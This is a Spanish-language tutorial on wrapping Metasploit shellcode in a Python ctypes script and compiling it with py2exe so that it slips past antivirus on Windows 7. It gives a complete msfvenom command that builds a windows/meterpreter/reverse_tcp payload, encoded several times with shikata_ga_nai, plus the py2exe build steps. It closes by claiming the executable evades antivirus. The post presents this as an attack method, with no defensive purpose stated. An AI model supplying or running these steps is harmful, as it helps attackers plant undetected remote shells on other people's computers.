Definición:
Python dispone de una librería llamada ctypes, la cual permite especificar un shellcode en formato C y conseguir ejecutarlo desde el propio script.Requisitos:
- Máquina Kali Linux- Máquina Windows 7
- Python 2.7
- Py2Exe
Tutorial:
Kali Linux
Lo primero será crear nuestra shellcode, para ello usaremos msfvenom, podemos crearla con el siguiente comando:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IPLOCAL> LPORT=<Puerto al que se va a conectar> -f c --encoder x86/shikata_ga_nai --iterations 6 --bad-chars '\x00'
Nos saldrá algo como esto:
Copiamos la shellcode, ahora vamos a pasarla a exe, podemos hacer uso de esta web.
Como vemos tendrá bastantes detecciones:
Para ofuscarlo, volvemos a copiar el shellcode, esta vez lo copiaremos directamente en un script en python, y usando la librería ctypes, crearemos un espacio en memoria donde irá almacenado el shellcode:
Copiaremos el archivo .py a una máquina con windows.
Windows 7:
Antes de empezar necesitaremos installar py2exe, lo podemos descargar aquí.Una vez instalado, vamos a convertir a exe el archivo python, para ello copiamos el shellcode.py al directorio de nuestro python (Para que sea más fácil la explicación), en mi caso "C:\Python27"
En ese mismo directorio creamos un archivo llamado "setup.py" el cual contendrá:
from distutils.core import setup
import py2exe
setup(console=['NuestroArchivo.py'])
Abriremos un CMD, iremos a la ruta de python (C:\Python27), y escribiremos el siguiente comando:python setup.py install
Por último, vamos a convertirlo a exe con el comando:
python setup.py py2exe
Nos creará un directorio llamado "dist" y dentro tendremos nuestro ejecutable, esta vez si que evadirá los antivirus.
Puedes ver un tutorial más detallado de py2exe aquí.